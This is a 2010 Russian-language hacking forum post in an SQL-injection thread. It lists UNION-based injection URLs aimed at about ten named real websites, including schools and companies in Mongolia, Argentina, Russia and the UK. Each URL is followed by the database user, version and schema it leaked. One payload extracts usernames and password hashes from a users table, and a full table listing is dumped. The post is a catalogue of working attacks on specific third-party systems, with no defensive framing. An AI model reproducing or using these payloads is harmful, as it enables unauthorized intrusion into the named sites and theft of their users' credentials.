Тема: SQL-Injection
Показать сообщение отдельно
Старый 05.07.2010, 22:10   #5
root_sashok
 
Регистрация: 05.07.2010
Сообщений: 44
Репутация: 5
По умолчанию

Код:
http://www.ms.edu.mn/index.php?option=user_com_sambar&parent=5&id=4&menu_id=5+union+select+1,2,3,unhex(hex(concat_ws(0x3a,user(),version(),database()))),5,6,7,8--
Username: mat@localhost
Version: 5.0.75-0ubuntu10.2
Database: mathweb

Пользователи и хеши:

Код:
http://www.ms.edu.mn/index.php?option=user_com_sambar&parent=5&id=4&menu_id=5+union+select+1,2,3,4,concat_ws(0x3a,user_name,password),6,7,8+from+v2_users--
Таблицы:

Код:
v2_abouts 
v2_artgallery 
v2_artpicture 
v2_banner 
v2_banner_list 
v2_comment 
v2_components 
v2_contact 
v2_feedback 
v2_gallery 
v2_gallery_tech 
v2_hevlel 
v2_lesson 
v2_menu 
v2_news 
v2_open 
v2_permission 
v2_picture 
v2_position 
v2_professor 
v2_professor_type 
v2_promenu 
v2_research 
v2_sambar 
v2_sent_message 
v2_site_banner 
v2_site_banner_list 
v2_slide 
v2_subsystems 
v2_theachers 
v2_update_type 
v2_updates 
v2_user2type 
v2_user_type 
v2_users 
v2_web 
v2_weblink 
v2_weblink_type 
v2_work 
v2_zarlal
Код:
http://www.barcelo.edu.ar/vernoticia.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,unhex(hex(concat_ws(0x3a,user(),version(),database()))),12,13,14  ,15,16,17,18,19,20,21-
Username: uv0001@localhost
Version: 4.1.14-log
Database: uv0001_barcelo

Код:
http://www.ptoservis.ru/photo.php?id=2525+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--
Username: u45581@10.10.11.45
Version: 5.0.67-log
Database: u45581

Код:
http://www.litinstitut.ru/index.php?p=gallerypic&img_id=-1+union+select+1,2,3,4,5,6,database(),8,9--
Username: root@localhost
Version: 4.1.22-community-nt
Database: site

Код:
http://www.aladeo.ru/video/show.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11--
Username: Eugene@localhost
Version: 5.0.45-community-nt
Database: artvideo2

Таблицы:

Код:
pma
table
info
Код:
http://www.olimpgroup.ru/index.php?ob=list_one&id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--
Username: olimpgro@localhost
Version: 4.1.25-log
Database: wwwolimpgroupru

Код:
http://izottex.ru/index.php?page=page&id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),7--
Username: neosphru_iztx@localhost
Version: 5.0.26-log
Database: neosphru_iztx
OS: pc-linux-gnu

Код:
http://www.gilsf.ru/order/?comid=-1+union+select+1,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13--
Username: u68927@10.8.0.129
Version: 5.0.90-log
Database: u68927
OS: portbld-freebsd7.2

Код:
http://www.windowware.co.uk/product_list.php?m=-1+union+select+1,2,user(),database(),5,6,7,8,version(),10--
User: windowweb
Database: ww_sys@localhost
Version: 4.1.22

Код:
http://www.aspect.dubna.ru/new/page.php?page=301+union+select+concat_ws(0x3a,user(),version(),database())--
User: aspect@localhost
Database: aspect
Version: 5.0.51a-log
root_sashok вне форума